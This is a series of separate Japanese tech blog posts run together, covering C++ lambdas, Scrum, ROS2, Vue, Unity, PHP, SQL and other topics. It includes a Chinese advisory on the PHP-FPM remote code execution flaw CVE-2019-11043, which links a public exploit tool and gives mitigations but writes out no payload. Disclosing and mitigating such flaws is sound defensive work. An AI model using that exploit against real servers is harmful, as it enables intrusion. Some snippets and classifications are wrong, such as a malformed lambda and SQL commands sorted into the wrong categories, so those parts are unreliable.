ラムダ式を理解できてなかったので、いろいろ勉強して見た結果
理解したものをまとめたものがこちらの記事です。

目的としては0%の人が5%まで理解できたらいいな~という目的です。
この記事なんかより他の記事の方が分かりやすいのは明確なので、これを見てくれた人は必ず他の記事を読んでさらに理解を深めてほしいです。:smiley:


#ラムダ式とは何ぞ？#
プログラムを勉強していくうえでどこかでラムダ式を聞くと思う。
ラムダ式は『名前のない関数』です　
ちゃんとした名所は『無名関数』といいます。


簡単なラムダ式の定義をざっくりと

```ruby:qiita.rb
auto add = [](){};
```



##ラムダ式の何が便利か
小規模な使い捨ての関数を作るのに便利です。ほかにもSTLの関数を使わなくても済むことがあります。
コードの行が少なく済んだりと覚えていて損はありません。:triumph:

##例
この前の記事の[for文を使わなくてすむ便利関数](https://qiita.com/f_Mari/items/8441aff3033654a151b5)でも紹介した

```ruby:before
std::for_each(m_objects.begin(), m_objects.end(),std::mem_fun(&GameObject::Draw3D));
```

これをラムダ式を使うとこのようになります

```ruby:after
std::for_each(m_objects.begin(), m_objects.end(),[](GameObject* obje) {obje->Draw3D}));
```
 となります。

他にもありますが言いたいことは他の記事と似てるので割愛


##で？何がいいの？

`std::for_each(m_objects.begin(), m_objects.end()`の処理をしたら何かしたいってなった時
ラムダ式なら`obje->Draw3D` を変えてやればいいのだ。


######ラムダ式のメリットは　【可読性の向上】【処理の入れ替】【単純化】と思っている。
ロボットが銃やレーザーを手に持つ（独立）タイプならば、ロボットに槍を持たせるときは剣と入れ替えてしまえばいいのだ。
だが、くっついている（依存）タイプなら話が変わる。　まず剣を取りはずし、どう槍を持たせるかを考えて
どのように槍をロボットに付けてやるか（処理）を考えないといけない。

| タイプ       |    武器を変更するとき    |    便利さ    |
|:-----------------|------------------:|:------------------:|
| 装備タイプ       |            　取り外し可能　 |        ◎       |
| 合体タイプ           |           作り直し、取り外し |       △       |


##まとめ
~~(はてこのしょぼさで何をまとめろと言うのかね)~~
ラムダ式を使えば、複雑な処理、STLを使わなくて住むこともあります。
使いこなせれば強力な武器にもなります。std::functionやStateパターンでも活躍します。
ぜひ使いこなせるようになりましょう！
スクラム

#イベント
![image.png](https://qiita-image-store.s3.amazonaws.com/0/331630/24a1d554-a905-5ca6-854a-e50fca830572.png)

Product Backlog
---
実現したいリストを優先順位を付けた一覧（機能の追加や修正、ユーザーの要望などが含まれる）

####INVESTの原則
・Independent(独立している)
・Negotiable(交渉可能である)
・Valuable(ユーザ価値を提供する)
・Estimable(見積り可能である)
・Small(小さい)
・Testable(テスト可能である)

Sprint Planning
---
スプリント開始時に"スプリント期間内で何ができるか"　"どうやって達成させるか" を明らかにするミーティング

　⇒プランニングポーカー：タスクとごとのポイントを決める

INVESTの原則に従っていないと...

「このストーリーはややこしいなぁ。複数のストーリーが合わさってない？」
 →Independent(独立している)　ではない

「このストーリーは詳細機能が決まってるけどもっと良いやり方あるんじゃないかな。ストーリーを 
一度考え直さない？」
→Negotiable(交渉可能である)　ではない

「これって本当にユーザーに価値があるの？　一度POで再検討した方がいいんじゃないかな？」
→Valuable(ユーザ価値を提供する)　ではない

「このストーリーは抽象的過ぎて見積り難しいなぁ。もう少し具体的な仕様にした方がいいんじゃない？」
→Estimable(見積り可能である)　ではない

「全員がこの大きいポイントを出すっていうことはストーリーが大きすぎるよね。分割できないかな？」
→Small(小さい) ではない

「このストーリーはテストを作るのが難しいなぁ。こういうストーリーにした方がいいんじゃない？」
→Testable(テスト可能である)ではない

Sprint Backlog
---
スプリント期間内で行う”プロダクトバックログアイテム”と、その”タスク”を表したもの
（スプリントバックログを可視化したものを「タスクボード」）
Doneの定義を明確化

　⇒タスク
![image.png](https://qiita-image-store.s3.amazonaws.com/0/331630/c0dfc098-25d9-5ad1-854a-c55c6081585d.png)


Sprint
---
開発期間の単位

　⇒ベロシティ：1sprint で完成できる仕事量（ポイント量）

Daily Scrum
---
”昨日行ったこと”、”今日やること”、”困っていること” を端的に共有する

Sprint Review
---
インクリメント(成果物)の確認を行い、フィードバックを得るためのミーティング
※いつでもリリース可能な状態のプロダクト

Sprint Retrospective
---
自分たちの現状を見直し、次回以降の仕事の進め方を改善するためのミィーティング
KPTなどで行う

Scrum backlog Refinement
---
プロダクトバックログに含まれるアイテムに対して、詳細の追加、見積り、並び替えをする
これはプロダクトオーナーと開発チームが協力して行う継続的なプロセスである
プロダクトバックログのリファインメントによって、アイテムのレビューと改訂が行われる

#ロール
###Product Owner
・プロダクトの方向性を考える
・プロダクトバックログの優先順位を最終決定する

###Scrum Master
・インペディメント(障害物)を取り除く
・外部妨害から守る（POの妨害からも守る）

[スクラムマスターの仕事](https://www.ryuzee.com/contents/blog/7115)

###Developer
・自己組織化し、自ら考え行動する
・プロダクトバックログの完了に向けて、ベストを尽くす責任を持つ
ROS2 Dashing で python のパッケージを作ったら package not foundで無限にハマった

無限と言っても多分4,5時間くらいなんですが

## 環境
* Mac Mojave
* Ubuntu 18.04 on Virtualbox

## ハマった問題
1: mac上でROS2のパッケージをpythonで実装した

```bash
cd <ros2_ws>/src
ros2 pkg create package_python
```

2: ROS2はpython使う場合とC++使う場合でややパッケージ作成手順が異なるので、以下のサイトなどを参考に必要なファイルを作る
[How to create & test a Publisher in ROS2 (Python)](https://www.theconstructsim.com/ja/create-python-publisher-ros2/)

3: ビルドして実行、うまく動くことを確認する

```bash
$ cd <ros2_ws>
$ colcon build
$ source install/setup.bash && source install/local_setup.bash
$ ros2 run package_python node_python  #worked
```

4: コードをGitHubに`push`し、ラズパイやVirtualbox上のUbuntu18から`clone`

5: 普通にビルド・実行

```bash

$ colcon build
$ source install/setup.bash && source install/local_setup.bash
$ ros2 run package_python node_python

Package 'package_python' not found
```

は？

github側の設定やコードのミスかと思い、先ほどのサイト（[How to create & test a Publisher in ROS2 (Python)](https://www.theconstructsim.com/ja/create-python-publisher-ros2/)）を参考にして、というかコードに関しては丸々コピペしてビルド
もちろんビルド時エラーなし

```bash
Package 'ros2_pub_py' not found
```

は？？

ちなみに実行ファイルは正しい場所にありました

```bash

$ ls install/ros2_pub_py/lib/ros2_pub_py/
sos_publisher
```

え〜〜〜・・・・・

上にある実行ファイルを直接指定すればなんの問題もなく動くんですが、なんかやだ・・・・
## 解決策(?)
解決策として、**予めC++のパッケージをビルドして、フォルダの中身をpythonのものに置き換える**というものが有効でした。
つまり、まず普通にパッケージを作り、**初期状態のままビルドします。**

```bash
$ ros2 pkg create package_python
$ cd <ros2_ws>
$ colcon build
$ source install/setup.bash
```
ビルド後にコマンドからパッケージが確かに追加されていることを確認します

```bash
$ ros2 pkg list | grep package_python
```

パッケージが存在した場合、最後にパッケージフォルダの内容をpythonのものと置き換えます。
gitから撮ってきたやつを写してもいいですし、新しく作ってもよいです。

```bash
# 例えば~/package_python にpython実装したノードがあるとします
$ cd <ros2_ws>/src/
$ rm -r package_python
$ mv ~/pakcage_python ./
```
で、あとは再度ビルドして実行します

```bash

$ cd <ros2_ws>
$ colcon build
$ source install/setup.bash
$ ros2 run package_python node_python #worked!!
```
以上です

##結論

一応macとUbuntu両方において有効なやり方みたいです
これ5時間溶かす意味あった？？

というか他にもっと適切なやり方がありそう・・・
Codeigniter3.2.0でCannot call constructorが表示される

# 現象
セッションが原因でcodeigniterのバージョンを3.1.10から3.2.0に
[日本語ドキュメントの手順](https://codeigniter.jp/user_guide/3/installation/upgrade_320.html)通りにアップグレードしたら
`An uncaught Exception was encountered
Type: Error
Message: Cannot call constructor`
と表示されてしまいました・・・

# 解決策
[英文のドキュメント](https://www.vanwijheweb.nl/codeigniter_user_guides/gebruikers_gids_3.X/installation/upgrade_320.html)には書いてありましたが
3.2.0に以降した場合はCI_Modelの
`public function __construct()
{
   parent::__construct();
}`
は不要のようでした。

全てのmodelファイルで上記の記載を削除したら、無事ページが表示されるようになりました！

日本語ドキュメントだけ見てても抜けがあるかもなので、
英文のドキュメントも確認する必要がありますね:frowning2:
vue2-google-mapsで右クリックした場所の座標を取得する


# はじめに

最近 Vue.js と Firebase を使ってウェブアプリケーションを作っています。
GoogleMap を Vue.js で利用するためのメジャーなライブラリは vue2-google-maps があります。

メジャーと言ってもサンプルが少なく、Map を右クリックしたときの座標取得の方法がわからず困っていたのですが、
色々と調べてその方法が分かったので紹介します。

# 手順概要

- GoogleMap API のカスタムイベントを VueGoogleMaps で受け取れるようにする
- 右クリックのイベントハンドラを登録する
- $eventでオリジナルのDOMイベントを取得する

## GoogleMap API のカスタムイベントを VueGoogleMaps で受け取れるようにする

デフォルトでは vue2-google-maps で取得できるイベントは click のみになります。
right click イベントを取得するためには use 時に ```autobindAllEvents: false``` を追加してやる必要があります。

``` diff
import * as VueGoogleMaps from 'vue2-google-maps';
Vue.use(VueGoogleMaps, {
  installComponents: true,
  load: {
    key: 'APIキー',
    libraries: 'places'
  },
+  autobindAllEvents: false,
});
```
## 右クリックのイベントハンドラを登録する

これは単純に GmapMap のエレメントに ```@rightclick="ハンドラ()"``` を追加するだけです。

## $eventでオリジナルのDOMイベントを取得する

Vue.js で GoogleMap API のオリジナル DOM イベントを取得するためには $event を使います。
place というハンドラを作り、先ほどのハンドラを ```@rightclick="place($event)"``` のように書きます。


# ソース

``` vue
<template>
  <card class="card-map">
    <div class="map">
      <div id="map">
          <GmapMap @rightclick="place($event)" :center="center" :zoom="zoom" :options="options" style="width: 100%; height: 100%;">
          </GmapMap>
      </div>
    </div>
  </card>
</template>
<script>

export default {
    data () {
        return {
            center: {lat: 35.71, lng: 139.72},
            zoom: 14,
        }
    },
    methods:{
        place(event){
            if (event) {
                var lat = event.latLng.lat()
                var lng = event.latLng.lng()
                console.log(lat + ", " + lng)
            }
        },
    }
};
</script>
<style></style>

```
[mac] 新OS Catalina にアップデートした際に、Karabiner-Elementsが動作しない

## 現象
OSをCatalinaにアップデートした際に、Karabiner-Elementsがきちんと動作しなくなった

## 解決策

### アプリを起動すると以下のようなアラートが発生するのでこれに従う

<img width="895" alt="スクリーンショット 2019-10-23 21.46.24.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/142616/cf9e9255-0643-26a2-1142-ad4d5e365586.png">

システム環境設定 > セキュリティとプライバシー > 入力監視　まで進む 
鍵をクリック、パスワードを入力したら、編集ができるようになります。

<img width="658" alt="スクリーンショット 2019-10-23 22.08.37.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/142616/df047afc-fa71-62bb-208a-637fc50534b7.png">

[+]ボタンで、必要なファイルを追加する。右上の検索から探した方が早いと思います。

 `karabiner_grabber`

<img width="648" alt="スクリーンショット 2019-10-23 21.52.26.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/142616/4dee6c2b-7ef4-c2dc-d3af-82a9a12709ca.png">

 `karabiner_observer`
<img width="644" alt="スクリーンショット 2019-10-23 21.52.47.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/142616/edf2601a-cb2c-c829-a069-ceb5da181587.png">

`Karabiner_Elements.app`
<img width="648" alt="スクリーンショット 2019-10-23 22.09.22.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/142616/71624c96-e542-562a-1487-65b8fd06c8f3.png">

この３つを追加すると下図のようになります。鍵をかけた後、再起動すると、きちんと動作するかと思います。
<img width="661" alt="スクリーンショット 2019-10-23 22.09.59.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/142616/fb31c72f-1d7e-6b8d-fd66-cd2537663e1e.png">

## 同様の現象（gyazo）
gyazoでも同じようなことが発生しているので、設定で変更してあげましょう。
https://qiita.com/bbapexx/items/34e5797d2ff9c72bf6b0
脱出ゲームの作り方　６　アイテム使用による電球のONOFF

これまでの作業で、

■A．DrawerPnelで引き出しがクリックされたら電球画像を表示し、
ItemBoxに電球を取得する処理を作成した

１．DrawerPnelで引き出しがクリックされたら、電球画像を表示する
脱出ゲームの作り方　２
◇TriggerButtonを押したら電球パネルとテキストを表示


```csharp:DrawerManager.rb
public void OnClickTrigger()
    {
        LightBulbSetActive(true);
    }
```

２．上記１．と同時に、ItemBoxに電球の画像を表示する
脱出ゲームの作り方　４
◇itemに電球のデータが取得されたら、電球の画像を表示する

```csharp:DrawerManager.rb

public void OnClickTrigger()
    {
        LightBulbSetActive(true);
        itemBoxManager.SetItem(ITEM.LIGHT_BULB);
    }
```


■B．LightstandPanelで、ItemBoxの１つ目と２つ目をクリックして電球をON/OFFするテストをした
脱出ゲームの作り方　 ５
テスト
Unityエディタで
１つ目のItemBoxの On Click() にLightSwitch()をtrueで設定 ：電球が点灯
２つ目のItemBoxの On Click() にLightSwitch()をfalseで設定 ：電球が消灯

※設定を解除するときは、On Click()のマイナス（－）ボタンで削除する



###アイテムボックスに取得した電球を使うと、電球が点灯する処理を作成する

◇ItemBoxManagerに処理を追加する


アイテムを使用する関数UseItem()に、
アイテムボックスに電球があったら、電球を使用してライトスタンドを点灯する処理



LightStandManagerスクリプトを使えるようにする


LightStandManager（型）、 lightStandManager（変数）
:point_up:
この場合の LightStandManager は自分で作ったデータ型

※エディタでItemBoxPnel（オブジェクト）を選択すると、InspecterのItemBoxManagerスクリプトに
LightStandManagerが出る
スクリプトはコンポーネントなので、他のスクリプトでこのように取得して使える

```csharp:ItemBoxManager.cs
   [SerializeField] LightStandManager lightStandManager;
```

アイテムが電球だったら、
lightstandManagerスクリプトのLightSwitch()関数をtrueで実行する
それ以外は何もしない

```csharp:ItemBoxManager.cs
    public void UseItem(int index)
    {
        switch (itemList[index])            //アイテムが電球だったら、
        {
            case ITEM.LIGHT_BULB:
                lightstandManager.LightSwitch(true);     //LightSwitch()をtrue
                break;
            default:                                    //それ以外は何もしない
                break;
        }
        itemList[index] = ITEM.NONE; // index番目のアイテムを使用したので空にする;
        itemBoxImages[index].sprite = null; //index番目に何も表示しない
    }
```
※UseItem(int index)の引数は、itemBoxの番号に対応している

◇Unityエディタで

ItemBoxPnel（オブジェクト）を選択し、InspecterでのItemBoxManagerスクリプトに
LightStandManager
が出ているので、LightstandPanel（オブジェクト）をセットする

その下の、４つのItemBoxを全部選択し、
InspectorでItemBoxのButtonコンポーネントの On Click() にItemBoxPanel（オブジェクト）をセットして、
ItemBoxManagerに表示される関数をからUseItem(int)を設定する。
４つの各ItemBoxについて、UseItem(int)の引数（0,1,2,3）を設定して、
ItemBoxと使うアイテムを対応させる




:point_up:
Inspecterで、コンポーネントに設定された値をクリックすると、元のオブジェクトが反転して表示されるので、関連を確認できる
（設定に意図しない書き換えが起こらないように気を付ける）


:point_up:
課題
構成の整理（どのファイルがどの機能を持っているのか）

各オブジェクト
オブジェクトにアタッチしたスクリプト
スクリプトで作成した変数、関数
Inspectorで変数や関数を設定する
これらのつながりを整理する




##教材
**Unityゲームスタジオ スタジオしまづ**
**【Unity】初心者からの脱出！？　脱出ゲームの作り方　その６　アイテム使用による電球のONOFF**
https://youtu.be/Z4uJWBRvGhk
自分用にpythonでリスト(配列)を初期化する方法をまとめておく

# Memo

多次元リストを任意の値で初期化する。

## 空リスト

要素数0のリスト

```python
lt = []
print(lt)
# []
```

## 一次元のリスト

要素数3のリストを0で初期化する場合

```python
lt=[0]*3
print(lt)
# [0, 0, 0]
```

※必要に応じて要素数は任意の値(input()等で入力される値)にする

## 多次元のリスト

ここでは例として二次元のリストを扱い、失敗例もメモしておく。

### 失敗例

```python
# 失敗例
lt=[[0]*3]*4
print(lt)
# [[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0]]
```

表示上問題ないように見えるがダメ。  
初期化した後に例えば`lt[1][2]=5`と代入すると期待した結果と異なってしまった。

```python
lt[1][2]=5
print(lt)

# 期待値
# [[0, 0, 0], [0, 0, 5], [0, 0, 0], [0, 0, 0]]

# 出力
# [[0, 0, 5], [0, 0, 5], [0, 0, 5], [0, 0, 5]]
```

調べたところ`lt=[[0]*3]*4`のような書き方だと`[0]*3`のリストを4つ定義しているからとのこと。  
つまり同じオブジェクトを4つもつリストになっているから一つのオブジェクトを変更すると4つすべての要素が変更される。

### 成功例

正しくはリスト内包表記で書く。

```python
lt=[[0]*3 for _ in range(4)]
lt[1][2]=5
print(lt)
# [[0, 0, 0], [0, 0, 5], [0, 0, 0], [0, 0, 0]]
```

※補足  
リスト内包表記

```python
[式 for 任意の変数名 in イテラブルオブジェクト]
```
配列のグループ分け

# 配列のグループ分け

[Laravelを使って班分け（グループ分け）してみた](https://qiita.com/Kai0000/items/6b1f74612eb65810cc5f)というのを見たのですが、`devide`関数ややこしくない？

PHPには配列を分割する[array_chunk](https://www.php.net/manual/ja/function.array-chunk.php)という関数が最初から用意されているのですが、[参照先の参照先](http://bashalog.c-brains.jp/14/01/15-104933.php)にもあるように末尾処理が微妙です。
10個の配列を4分割すると`[3個, 3個, 3個, 1個]`になってしまうのです。

そんなわけで元記事では[array_slice](https://www.php.net/manual/ja/function.array-slice.php)で切り出しているのですが、正直なところわかりにくいので、もっと簡単にやりましょう。

```php
	/**
	 * 配列を分割して返す
	 * @param array 元配列
	 * @param int 分割数
	 * @return array 元配列を分割したやつ
	 */
	function divide(array $arr, int $division):array{
	    $ret = [];
	    $cnt = 0;
	    foreach ($arr as $k => $v) {
	        $ret[$cnt++ % $division][$k] = $v;
	    }
	    return $ret;
	}

	$a = range(0, 9);
	shuffle($a);
	$ret = divide($a, 4); // [3個, 3個, 2個, 2個]
```

できた。

元記事ではしていなかったのですが、一応キーも保持するようにしています。


# おわりに

作ってから気付いたんだけど動作違うわこれ。

`array_chunk`や元記事は、分割後の配列も並んでいる順に整列します。
`ABCDEFGHIJ`が並んでいたら`[ABC, DEF, GH, IJ]`となります。

対してこちらは、レジに並ぶ客のように分かれます。
`ABCDEFGHIJ`は`[AEI, BFJ, CG, DH]`になるということです。

そんなわけで元記事をそのまま差し替えるには至りませんでした。
残念。


# ここまで全部間違い

**以下2019/10/24追記**

ここまでリリースしたあとで[突っ込まれた](#comment-553e03cfac8e16b96fa6)わけですが、[元記事](https://qiita.com/Kai0000/items/6b1f74612eb65810cc5f)を読み返してみたら設問が根本的に違う。

・1組あたりの人数は4人で、グループ数は可変。
・端数が出たら5人組にする。
・人数が少ない場合は特殊処理。

いったい何をキメていたら、この設問から上の`divide()`みたいな関数を作れるんですかね？？

ということで作りなおしましょう。
人数が少ないときの挙動がよくわからないので列挙しておきます。

・5人以下：[n]
・6人：[3, 3]
・7人：[4, 3]
・8人：[4, 4]
・9人：[5, 4]
・10人：[5, 5]
・11人：[4, 4, 3]
・12人：[4, 4, 4]
・13人以上：定義通り

グループあたり人数を可変にするとこのあたりの動作がよくわからなくなるので、以下では4人固定としておきます。


```php
/**
 * 配列を分割して返す
 * @param array 元配列
 * @return array 元配列を分割したやつ
 */
function divide(array $arr): array {
    $cnt = count($arr);

    // 6未満
    if ($cnt < 6) {
        return [$arr];
    }

    // 11未満
    if ($cnt < 11) {
        return array_chunk($arr, ceil($cnt / 2));
    }

    // 4の倍数と11
    if (!($cnt % 4) || $cnt === 11) {
        return array_chunk($arr, 4);
    }

    // それ以外
    $ret = array_chunk($arr, 4);
    $extra = array_pop($ret);
    $cnt = 0;
    foreach ($extra as $v) {
        $ret[$cnt++][] = $v;
    }
    return $ret;
}

// 確認
for ($a = 1; $a < 20; $a++) {
    var_dump( divide(range(1, $a)) );
}
```

うーん、元記事とたいして変わってない。
これならわざわざ書き換える意味がないかんじですね。

先にグループ数を求めてから配分したら多少行数が減るかな？

```php
function divide(array $arr): array {
    // 分割数
    $cnt = count($arr);
    if ($cnt < 6) {
        $division = 1;
    } elseif ($cnt < 11) {
        $division = 2;
    } elseif ($cnt < 12) {
        $division = 3;
    } else {
        $division = floor($cnt / 4);
    }

    // 分割する
    $cnt = 0;
    foreach ($arr as $k => $v) {
        $ret[$cnt++ % $division][$k] = $v;
    }
    return $ret;
}
```

行数は減りましたが、読みやすくなったかというとどうでしょうね。
というか11が厄介だな。

やろうと思えば`$division`の算出は1行でできますが、さらにわかりにくくなるだけなので辞めましょう。

```php:やろうと思ったら読めなくなった
function divide(array $arr): array
{
    $cnt = 0;
    foreach ($arr as $k => $v) {
        $ret[$cnt++ % (($c = count($arr)) < 12 ? $c < 11 ? 1 + floor($c / 6) : 3 : floor($c / 4))][$k] = $v;
    }
    return $ret;
}
```

さて、今度こそ設問に間違いはないよな？よな？
Azure Cognitive Services × C# で画像内の顔を検出するアプリを作成する

今回は Face API を使って、画像内の顔を検出するアプリを作成します。Face API は日に日に精度や機能が追加されていますが、REST API があったりなど使いこなしやすいので便利です。

#Azure Portal で Face API をデプロイする
まずはアプリケーションを作成する際に使用する、Face API Key をデプロイします。Azure Portal で Face と検索すると出てきます。任意のリソースグループ名とリソース名を入れてデプロイします。今回使うものはフリープランでも大丈夫です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149921/8ff9757a-35cf-126e-0e99-4e91fab65fb9.png)

作成したら Face API の Key をコピーしておきましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149921/1f6c6778-611c-4aac-7612-557ac52c0076.png)

#サンプルコードをデプロイする
Microsoft の Document にある Github 公開しているコードを自分の開発環境上に Clone します。コマンドプロンプトから以下を実行するとデプロイできます。次いでに Visual Studio を開くところまで下記コードで実行できます。

```
git clone https://github.com/Azure-Samples/Cognitive-Face-CSharp-sample.git
cd Cognitive-Face-CSharp-sample/FaceTutorialCS
FaceTutorialCS.sln
```

#Face API Key の追加
そのままデプロイすると当たり前ですが以下のエラーが発生します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149921/5eda984f-6d30-0923-2137-04916c269d3a.png)

Visual Studio が自動で場所を推測していくれるので、以下画像の場所に最初にコピーしたEndpoint と Key を入力します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149921/37f61bec-f4f7-b225-7324-33aaef0cccdb.png)
実はこれだけではできません。Face API の Nuget Package をダウンロードします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149921/7ae8c61c-5f4e-3898-6767-c5bc7fa953da.png)
これでやると、Key の String に不適切な値が入っているとエラーが発生します。少しですが以下のように書き換えます。(MSのGithub のコードが少し間違ってましたね)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149921/ad1da476-866c-e1c3-60f5-52d2c6d8554c.png)

これでデプロイしてみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149921/f45d4a4d-ebd0-0598-2f13-67657a50cef1.png)
大谷翔平はスマイル100%でした！

#参考URL&Tips
チュートリアル:画像内の顔データを表示する WPF アプリの作成
https://docs.microsoft.com/ja-jp/azure/cognitive-services/face/tutorials/faceapiincsharptutorial

Face API の Key でできなかった場合は、Cognitive Services の Key でデプロイしてみましょう。デプロイは通っているけどうまく分析できない場合はそれで解決することがあります。最近 Cognitive Services にまとめれてきているため、Endpoint に無駄な「/faces」とか入っているとうまくAPI をたたけない場合があります。
Lookerでview作成時にはRefreshボタンを押そう


Looker描画用に新規テーブルを追加したけど、View作成する時に対象がない！？
といった場合は、以下のように**Refreshボタンを能動的に押す必要**がある。という話

## 現象
テーブルを新規で作成して、Lookerで**Create Views from TablesからViewを作成**しようとしたが、以下のように対象テーブルが出てこない。

![スクリーンショット 2019-10-23 21.43.56.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/242038/0a01e34c-218e-9e05-a8c0-964cdebc7b44.png)


## 対策方法
Create Views from Tablesの画面右上にある**Refresh**を押すと新規追加したテーブルが表示される。
※この時、ブラウザのRefreshを押しても内容は変わらない。（個人的にはこの対応もして欲しい）
　その為、必ずLooker内のRefreshを押す必要がある。
![スクリーンショット 2019-10-23 21.46.39.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/242038/86744f5f-c67e-a06f-4ff2-ad4963c0ed63.png)

## まとめ
自分の周囲で上記現象について話をしたら、かなりみんなハマってるパターンでした。
これはLookerさんの今後のアップデートで対処してもらえるようにチャットしてみようと思います。
【Cassandra】sstablemetadata

## sstablemetadata

SSTableごとの統計情報を確認するのに、sstablemetadataコマンドはとても有用(って思ってる、個人的に)

でも、Apache Cassandraドキュメントでは以下のように記載されてるので、Apache Cassandra稼働中の実行は遠慮したほうが良い...。
>Cassandra must be stopped before this tool is executed, or unexpected results will occur. Note: the script does not verify that Cassandra is stopped.

出力レポートの出力例と説明は [Apache Cassandra](http://cassandra.apache.org/doc/latest/tools/sstable/sstablemetadata.html)のドキュメントが詳しいけど、ちょっと補足...

Countっていうのがわかりにくいけど、以下の例だと、258バイトの行が20000行、5セル構成の行が20000行、っていうことで、Countのところがサイズだったりセル数だったりする。

```
Count               Row Size        Cell Count
1                          0                 0
2                          0                 0
3                          0                 0
4                          0                 0
5                          0             20000
6                          0                 0
7                          0                 0
8                          0                 0
10                         0                 0
12                         0                 0
14                         0                 0
17                         0                 0
20                         0                 0
24                         0                 0
29                         0                 0
35                         0                 0
42                         0                 0
50                         0                 0
60                         0                 0
72                         0                 0
86                         0                 0
103                        0                 0
124                        0                 0
149                        0                 0
179                        0                 0
215                        0                 0
258                    20000                 0
```
input 要素 はブラウザ（スマートフォン含む）によってUIが変わる

MDNに全部載っているんですけどねっていう。
https://developer.mozilla.org/ja/docs/Web/HTML/Element/Input

とはいえ `type` 属性でページ分かれてるのでHTML5で追加になった `type`属性を中心にデモを作成。

# デモ
PCの主要ブラウザのほかスマートフォンでもUIが変わるのでぜひスマホでもみてください。

https://codepen.io/gatespace/pen/abbJeVp

# コード
## type="color"
https://developer.mozilla.org/ja/docs/Web/HTML/Element/input/color

```
<input type="color" value="#ff0000">
```

## type="date"
https://developer.mozilla.org/ja/docs/Web/HTML/Element/input/date

```
<input id="date" type="date">
```

## type="month"

https://developer.mozilla.org/ja/docs/Web/HTML/Element/input/month

```
<input type="month">
```

## type="month"

https://developer.mozilla.org/ja/docs/Web/HTML/Element/input/number

```
<input type="number">
```

## type="range"

https://developer.mozilla.org/ja/docs/Web/HTML/Element/input/range

```
<input type="range">
```

## type="time"

https://developer.mozilla.org/ja/docs/Web/HTML/Element/input/time

```
<input type="time">
```

## type="week"

https://developer.mozilla.org/ja/docs/Web/HTML/Element/input/week

```
<input type="week">
```

現場からは以上です。
[漏洞预警]CVE-2019-11043/PHP-FPM在Nginx特定配置下远程代码执行

### 漏洞描述
2019年10月22日,国外安全研究员公开了一个PHP-FPM远程代码执行的漏洞EXP.
该EXP是`Andrew Danau`在某比赛解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时，服务返回异常发现的漏洞.
2019年9月26日,PHP官方发布漏洞通告,其中指出:使用 `Nginx + php-fpm`的服务器,在部分配置下,存在远程代码执行漏洞.且该配置已被广泛使用，危害较大,影响较为广泛.相关工具已经公开在Github
### CVE编号
CVE-2019-11043
### 漏洞威胁等级
高危
### 影响范围
PHP 5.6-7.x
### 漏洞复现
使用payload工具进行验证

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/3da44459-bc0b-7135-4509-57eba2885e6b.png)


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/473e2a7a-bcbf-28e0-ea0d-9a623b2fba7c.png)
### 修复建议
- 1.修改 nginx 配置文件中fastcgi_split_path_info的正则表达式,不允许.php之后传入不可显字符
- 2.暂停使用 nginx+php-fpm 服务

- 3.删除如下配置
```
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO  $fastcgi_path_info;
```
### 时间轴
[1].2019-10-21  PHP 官方发布漏洞更新
[2].2019-10-23  亚信安全网络攻防实验室研究院经过分析验证并发布漏洞预警
### Reference
https://github.com/neex/phuip-fpizdam
インスタンスprivate変数は別関数外からなら呼び出せる

一応メモ。

```python:test.py
class kurasu(object):
    def __init__(self):
        self.__a = 1
    def print_a(self):
        print(self.__a)

insutansu = kurasu()
insutansu.print_a() # 1
```

# 追記
こういうのはprivateと呼ばないらしい
調べてから再度編集予定
SQLについて

#はじめに
今回、SQLについて学ぶ必要があった為、理解を深める為に記事作成する事にしました。
**参考記事**
https://hnavi.co.jp/knowledge/blog/sql/
https://geekly.co.jp/column/cat-webgame/1906_003/

##SQLとは
**SQL**とはデータベースの操作をする言語であり、データベースの定義や操作を行う事が出来ます。
**SQL**はISO(国際標準化機構)で規格が標準化されており、他のデータベースでもほぼ同じように操作する事が可能となります。
##SQLの種類について
SQLの種類は主に3つあり、`データ定義言語 DDL(Data Definition Language)`と`データ制御言語 DML(Data Manipulation Language)`と`データ制御言語 DCL(Data Control Language)`となります。

###データ定義言語（Data Definition Language)とは
**データ定義言語**は**DDL**と略され、`CREATE`や`DROP`、`ALTER`などデータベースオブジェクトの生成や削除、変更を行うコマンドです。

**[DDLの命令文]**
*CREATE: 新しいデータベースやテーブルなどのオブジェクトを定義する*
*JOIN: テーブル同士を結合する*
*DROP: 定義したオブジェクトを削除する*
*ALTER: 定義したオブジェクトの内容を変更する*
*TRUNCATE: データを全て削除する*

###データ操作言語（Data Manipulation Language）とは
**データベース操作言語**は**DML**と略され、データベースを操作する為の構文です。目的語などと組み合わせて使用され、SQL関数と呼ばれる関数も使用出来ます。

**[DMLの命令文]**
*SELECT: データベースを検索する*
*INSERT: データを挿入する*
*DELETE: データを削除する*
*UPDATE: データを更新する*

###データ制御言語（Data Control Language）とは
**データ制御言語**は**DCL**と略されデータへのアクセスを制御する構文です。ユーザーへのアクセス権の制御に使用されます。
**トランザクション**とは**データベースに対して行われる1つ以上の更新処理**のことです。

**[DCLの命令文]**
*GRANT: ユーザー権限を付与する*
*REVOKE: ユーザー権限を削除する*
*BEGIN: トランザクションを開始する*
*COMMIT: トランザクションを確定する*
*ROLLBACK: トランザクションを取り消す*

##データベースの種類について
